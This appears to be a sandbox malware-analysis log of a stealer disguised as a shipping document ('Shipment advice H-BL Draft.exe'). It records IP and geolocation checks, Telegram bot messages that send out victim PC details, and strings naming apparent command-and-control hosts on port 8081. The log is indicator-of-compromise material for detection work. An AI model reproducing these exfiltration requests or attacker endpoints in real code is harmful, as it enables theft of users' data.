Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49717 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49722 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49754 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:704672%0D%0ADate%20and%20Time:%2009/03/2025%20/%2004:02:30%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20704672%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:704672%0D%0ADate%20and%20Time:%2009/03/2025%20/%2003:29:33%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20704672%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 07 Mar 2025 18:03:09 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 07 Mar 2025 18:03:16 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1319618401.000000000498B000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 0000000E.00000002.1382016232.0000000004BCC000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3712537195.0000000000431000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1319618401.000000000498B000.00000004.00000800.00020000.00000000.sdmp, Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.00000000029A1000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 0000000E.00000002.1382016232.0000000004BCC000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002DE1000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3712537195.0000000000431000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1319618401.000000000498B000.00000004.00000800.00020000.00000000.sdmp, Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.00000000029A1000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 0000000E.00000002.1382016232.0000000004BCC000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002DE1000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3712537195.0000000000431000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002FD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.0000000002B52000.00000004.00000800.00020000.00000000.sdmp, Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.0000000002B64000.00000004.00000800.00020000.00000000.sdmp, Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.0000000002B72000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002FA3000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002FB1000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.0000000002B52000.00000004.00000800.00020000.00000000.sdmp, Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.00000000029A1000.00000004.00000800.00020000.00000000.sdmp, Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.0000000002B64000.00000004.00000800.00020000.00000000.sdmp, Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.0000000002B72000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002FA3000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002FB1000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002DE1000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.00000000029A1000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1319618401.000000000498B000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 0000000E.00000002.1382016232.0000000004BCC000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3712537195.0000000000431000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.0000000002B52000.00000004.00000800.00020000.00000000.sdmp, Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.0000000002B64000.00000004.00000800.00020000.00000000.sdmp, Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.0000000002B72000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002FA3000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002FB1000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1317035907.0000000003173000.00000004.00000800.00020000.00000000.sdmp, Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.00000000029A1000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 0000000E.00000002.1378677101.00000000033B3000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1319618401.000000000498B000.00000004.00000800.00020000.00000000.sdmp, Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.00000000029A1000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 0000000E.00000002.1382016232.0000000004BCC000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002DE1000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3712537195.0000000000431000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1323341414.00000000073F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1323341414.00000000073F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1323341414.00000000073F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1323341414.00000000073F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1323341414.00000000073F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1323341414.00000000073F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1323341414.00000000073F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1323341414.00000000073F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1323341414.00000000073F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1323341414.00000000073F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1323341414.00000000073F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1323341414.00000000073F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1323341414.00000000073F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1323341414.00000000073F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1323341414.00000000073F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1323341414.00000000073F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1323341414.00000000073F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1323341414.00000000073F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1323341414.00000000073F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1323341414.00000000073F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1323341414.00000000073F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1323341414.00000000073F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1323341414.00000000073F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: PrcGlGVKeUCXxg.exe, 00000012.00000002.3724102996.00000000040B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org?q=
Source: Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002FD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram
Source: Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.0000000002A88000.00000004.00000800.00020000.00000000.sdmp, Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002EE8000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002FD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1319618401.000000000498B000.00000004.00000800.00020000.00000000.sdmp, Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.0000000002A88000.00000004.00000800.00020000.00000000.sdmp, Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 0000000E.00000002.1382016232.0000000004BCC000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002EE8000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002FD5000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3712537195.0000000000431000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.0000000002A88000.00000004.00000800.00020000.00000000.sdmp, Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002EE8000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002FD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002FD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:704672%0D%0ADate%20a
Source: PrcGlGVKeUCXxg.exe, 00000012.00000002.3724102996.00000000040B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Shipment advice H-BL Draft.exe, 0000000D.00000002.3722661271.0000000003C74000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3724102996.00000000040B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Shipment advice H-BL Draft.exe, 0000000D.00000002.3722661271.0000000003C74000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3724102996.00000000040B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002F4F000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002EE8000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002F80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.0000000002B0F000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002F4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en4
Source: Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.0000000002B0A000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002F4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: PrcGlGVKeUCXxg.exe, 00000012.00000002.3724102996.00000000040B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Shipment advice H-BL Draft.exe, 0000000D.00000002.3722661271.0000000003C74000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3724102996.00000000040B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabv20
Source: PrcGlGVKeUCXxg.exe, 00000012.00000002.3724102996.00000000040B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: PrcGlGVKeUCXxg.exe, 00000012.00000002.3724102996.00000000040B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.0000000002A88000.00000004.00000800.00020000.00000000.sdmp, Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.0000000002B72000.00000004.00000800.00020000.00000000.sdmp, Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.0000000002A61000.00000004.00000800.00020000.00000000.sdmp, Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.00000000029F2000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002EC8000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002FA3000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002E31000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002EA1000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002FB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1319618401.000000000498B000.00000004.00000800.00020000.00000000.sdmp, Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.00000000029F2000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 0000000E.00000002.1382016232.0000000004BCC000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002E31000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3712537195.0000000000431000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
